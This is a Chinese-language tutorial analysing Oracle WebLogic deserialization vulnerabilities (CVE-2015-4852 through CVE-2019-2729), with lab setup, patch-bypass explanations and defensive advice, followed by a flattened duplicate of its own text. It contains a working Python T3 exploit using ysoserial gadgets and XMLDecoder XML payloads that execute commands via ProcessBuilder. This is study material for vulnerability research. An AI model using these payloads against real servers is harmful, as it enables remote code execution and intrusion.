weblogic反序列化漏洞合集
字数 1718 2025-08-07 08:22:15

WebLogic反序列化漏洞全面分析与利用指南

环境搭建

基础环境准备

  1. 使用GitHub项目搭建环境:
    git clone https://github.com/QAX-A-Team/WeblogicEnvironment
    
  2. 自行下载对应版本的JDK和WebLogic放入对应文件夹

Docker环境配置

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

远程调试配置

  1. 复制关键文件到本地:
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
    
  2. 使用IDEA导入wlserver/server/lib作为库
  3. 设置远程调试端口为8453
  4. 在WLSServletAdapter类129行设置断点

T3协议反序列化漏洞分析

CVE-2015-4852

漏洞点weblogic.rjvm.InboundMsgAbbrev#readObject

关键点

  • T3协议数据流会经过此类
  • resolveClass方法没有任何防御措施
  • 使用CommonsCollections1链进行利用

PoC代码

from os import popen
import struct
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        return  
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header + desflag + payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "172.21.65.112"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/CVE-2015-4852"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

CVE-2016-0638(绕过补丁)

补丁分析

  • ServerChannelInputStreamresolveClass中引入ClassFilter.isBlackListed进行过滤
  • 绕过方式:使用weblogic.jms.common.StreamMessageImpl类进行二次反序列化

利用工具

  • https://github.com/5up3rc/weblogic_cmd

关键点

  • StreamMessageImpl不在黑名单中
  • readExternal方法会新建对象并执行readObject
  • 通过copyPayloadFromStreamcreateOneSharedChunk处理数据流

CVE-2016-3510(另一种绕过方式)

利用类weblogic.corba.utils.MarshalledObject

  • readResolve方法会读取objBytes值赋给新的ois并进行反序列化

XMLDecoder反序列化漏洞分析

CVE-2017-3506

漏洞原理

  • WebLogic处理SOAP请求时使用XMLDecoder解析XML数据
  • 可构造恶意XML执行任意代码

PoC示例

<java>
  <object class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="1">
          <void index="0">
              <string>calc</string>
          </void>
      </array>
      <void method="start"/>
  </object>
</java>

触发路径

  1. 请求发送到/wls-wsat/CoordinatorPortType
  2. 经过WorkContextTube#readHeaderOld
  3. 进入receive方法
  4. 最终在readUTF中触发反序列化

CVE-2017-10271(补丁绕过)

补丁分析

if(qName.equalsIgnoreCase("object")) {
    throw new IllegalStateException("Invalid context type: object");
}

绕过方式

  • <object>标签替换为<void>标签
  • 示例:
<void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
        </void>
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>touch /tmp/CVE-2017-10271</string>
        </void>
    </array>
    <void method="start"/>
</void>

CVE-2019-2725(新组件+绕过)

新触发点/_async/AsyncResponseService

补丁分析

  • 禁止了objectnewmethod标签
  • void标签只能有index属性
  • array标签的class属性值只能是byte

绕过方式

  • 使用oracle.toplink.internal.sessions.UnitOfWorkChangeSet
  • 利用JDK7u21链,通过byte数组传递恶意代码

PoC示例

<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
    <void index="0">
    <byte>-84</byte>
    ...
</array></void></class></java>

CVE-2019-2729(进一步绕过)

绕过原理

  • 在JDK1.6中,array标签会处理method属性
  • 使用<array method="forName">替代<class>

PoC示例

<array method="forName">
    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
    <void>
        <array class="byte" length="3748">
            ...
        </array>
    </void>
</array>

防御建议

  1. 及时安装官方补丁
  2. 关闭不必要的T3协议端口
  3. 限制访问/wls-wsat//_async/路径
  4. 使用Web应用防火墙(WAF)拦截恶意请求
  5. 定期进行安全审计和漏洞扫描

参考资源

  1. http://redteam.today/2020/03/25/weblogic历史T3反序列化漏洞及补丁梳理/
  2. https://www.cnblogs.com/nice0e3/p/14201884.html
  3. https://www.anquanke.com/post/id/250801
  4. https://xz.aliyun.com/t/5448
  5. https://paper.seebug.org/1012/#weblogic_8
WebLogic反序列化漏洞全面分析与利用指南 环境搭建 基础环境准备 使用GitHub项目搭建环境: 自行下载对应版本的JDK和WebLogic放入对应文件夹 Docker环境配置 远程调试配置 复制关键文件到本地: 使用IDEA导入wlserver/server/lib作为库 设置远程调试端口为8453 在WLSServletAdapter类129行设置断点 T3协议反序列化漏洞分析 CVE-2015-4852 漏洞点 : weblogic.rjvm.InboundMsgAbbrev#readObject 关键点 : T3协议数据流会经过此类 resolveClass 方法没有任何防御措施 使用CommonsCollections1链进行利用 PoC代码 : CVE-2016-0638(绕过补丁) 补丁分析 : 在 ServerChannelInputStream 的 resolveClass 中引入 ClassFilter.isBlackListed 进行过滤 绕过方式:使用 weblogic.jms.common.StreamMessageImpl 类进行二次反序列化 利用工具 : https://github.com/5up3rc/weblogic_ cmd 关键点 : StreamMessageImpl 不在黑名单中 其 readExternal 方法会新建对象并执行 readObject 通过 copyPayloadFromStream 和 createOneSharedChunk 处理数据流 CVE-2016-3510(另一种绕过方式) 利用类 : weblogic.corba.utils.MarshalledObject readResolve 方法会读取 objBytes 值赋给新的 ois 并进行反序列化 XMLDecoder反序列化漏洞分析 CVE-2017-3506 漏洞原理 : WebLogic处理SOAP请求时使用XMLDecoder解析XML数据 可构造恶意XML执行任意代码 PoC示例 : 触发路径 : 请求发送到 /wls-wsat/CoordinatorPortType 经过 WorkContextTube#readHeaderOld 进入 receive 方法 最终在 readUTF 中触发反序列化 CVE-2017-10271(补丁绕过) 补丁分析 : 绕过方式 : 将 <object> 标签替换为 <void> 标签 示例: CVE-2019-2725(新组件+绕过) 新触发点 : /_async/AsyncResponseService 补丁分析 : 禁止了 object 、 new 、 method 标签 void 标签只能有 index 属性 array 标签的 class 属性值只能是 byte 绕过方式 : 使用 oracle.toplink.internal.sessions.UnitOfWorkChangeSet 类 利用JDK7u21链,通过 byte 数组传递恶意代码 PoC示例 : CVE-2019-2729(进一步绕过) 绕过原理 : 在JDK1.6中, array 标签会处理 method 属性 使用 <array method="forName"> 替代 <class> PoC示例 : 防御建议 及时安装官方补丁 关闭不必要的T3协议端口 限制访问 /wls-wsat/ 和 /_async/ 路径 使用Web应用防火墙(WAF)拦截恶意请求 定期进行安全审计和漏洞扫描 参考资源 http://redteam.today/2020/03/25/weblogic历史T3反序列化漏洞及补丁梳理/ https://www.cnblogs.com/nice0e3/p/14201884.html https://www.anquanke.com/post/id/250801 https://xz.aliyun.com/t/5448 https://paper.seebug.org/1012/#weblogic_ 8